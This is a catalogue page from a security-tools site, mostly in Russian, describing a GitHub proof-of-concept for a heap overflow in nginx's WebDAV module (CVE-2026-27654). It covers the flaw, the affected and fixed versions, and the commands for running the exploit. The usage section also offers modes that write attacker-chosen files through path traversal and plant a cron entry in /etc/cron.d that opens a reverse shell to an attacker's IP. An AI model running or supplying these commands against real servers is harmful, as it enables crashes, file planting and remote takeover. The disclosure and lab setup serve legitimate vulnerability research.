Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/johanneslks/cve-2026-27654
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubjohanneslks/cve-2026-27654

CVE-2026-27654

NGINX `ngx_http_dav_module` Переполнение буфера кучи через `size_t` underflow (Удаленный DoS / Потенциальное RCE)

Репозиторий
842 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27654

NGINX ngx_http_dav_module Heap Buffer Overflow via size_t Underflow (Remote DoS / Potential RCE)

Описание

ngx_http_dav_copy_move_handler() в src/http/modules/ngx_http_dav_module.c вычисляет длину URI назначения, вычитая длину префикса location из компонента пути URI заголовка Destination. Оба значения имеют тип size_t (беззнаковый 64-битный). Когда путь назначения короче префикса location, вычитание переполняется до ~0, создавая огромную длину для memcpy, что переполняет выделенный в куче блок в 7 байт и приводит к краху рабочего процесса.

Один специально сформированный запрос MOVE или к DAV-локации, сопоставленной с , вызывает переполнение. Мастер-процесс nginx перезапускает рабочий процесс, но повторные запросы удерживают сервер в непрерывном цикле краха.

COPY
alias

ASan подтверждает: negative-size-param: (size=-7) в memcpy в ngx_http_core_module.c:1949, вызванном из ngx_http_dav_copy_move_handler.

Затронуты: nginx 0.5.13 – 1.28.2 (стабильная) и 1.29.0 – 1.29.6 (mainline), собранный с --with-http_dav_module и использующий alias в DAV-локации. Исправлено в версиях 1.28.3 / 1.29.7 (коммит ab4b5b8, PR #1210).

Использование

root@kitploit:~
# Docker (рекомендуется -- собирает уязвимый nginx из исходников):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080

# Нативная сборка (собирает nginx 1.28.2 из исходников, без Docker):
./run.sh              # сборка без ASan (наблюдение краха SIGSEGV)
./run.sh --asan       # сборка с ASan (окончательное доказательство)
./run.sh --both       # запуск обоих вариантов последовательно

# Против существующего уязвимого экземпляра nginx:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put    # если триггерный файл уже существует
python3 poc.py --target <HOST:PORT> --verbose

Режим по умолчанию остаётся каноническим триггером краха. Он отправляет PUT, а затем специально сформированный MOVE, чей путь Destination короче префикса DAV-локации:

root@kitploit:~
python3 poc.py --target <HOST:PORT> --mode crash \
  --location-prefix /uploads/ --destination-path /x --alias-len 13

Для авторизованных лабораторных конфигураций, где обработка назначения DAV допускает обход относительного назначения, тот же инструмент может доставить контролируемое атакующим содержимое по выбранному пути. Точные значения --location-prefix, --escape-depth и путь назначения должны быть получены из вашей собственной конфигурации сервиса и разведки:

root@kitploit:~
# Запись буквального содержимого по выбранному пути через обработку назначения COPY/MOVE.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/dav-proof.txt --payload-text proof

# Запись байтов из локального файла.
python3 poc.py --target <HOST:PORT> --mode write-file \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /tmp/payload.bin --payload-file ./payload.bin

# Доставка записи cron, открывающей обратную оболочку.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-shell \
  --lhost <IP_АТАКУЮЩЕГО> --lport 4444

# Доставка одноразовой команды cron для неинтерактивного авторизованного подтверждения.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
  --location-prefix /data/ --escape-depth 3 \
  --destination-path /etc/cron.d/dav-proof \
  --cron-command 'id > /tmp/dav-root-proof.out'

write-file, cron-shell и cron-cmd — это универсальные вспомогательные инструменты доставки для авторизованных сред с доступным для записи DAV-источником и обходом пути назначения. Они не требуются для доказательства канонического краха из-за переполнения кучи.

Требования

  • Цель: nginx, собранный с --with-http_dav_module, блок location, использующий alias (не root), dav_methods включает COPY или MOVE
  • Атакующий: Python 3. requests используется, если доступен, в противном случае PoC использует стандартную библиотеку Python для обычных HTTP-целей.
  • Для нативной сборки: gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget

Файлы

ФайлОписание
poc.pyPython PoC — канонический триггер краха плюс общие режимы назначения COPY/MOVE
run.shСобирает nginx из исходников (ASan / без ASan) и запускает PoC
DockerfileМногоступенчатая сборка уязвимого nginx 1.28.2
docker-compose.ymlНастройка Docker одной командой
nginx.confУязвимая конфигурация (alias + dav_methods COPY MOVE)
proof_output.txtВывод ASan из проверки в реальном времени

Ссылки

  • https://nginx.org/en/security_advisories.html
  • https://github.com/nginx/nginx/commit/ab4b5b8
  • https://github.com/nginx/nginx/pull/1210

Юридическое уведомление

Этот проект распространяется под лицензией GNU GPLv3.

Он предоставлен для оборонительного исследования безопасности, обучения и авторизованного тестирования. Не используйте этот код против систем или сервисов без явного разрешения владельца.

Несанкционированное использование может нарушать применимое законодательство. Авторы не дают разрешения на тестирование сторонних систем и не несут ответственности за неправомерное использование.

См. файл LICENSE для условий гарантии и ответственности.

Скачать инструмент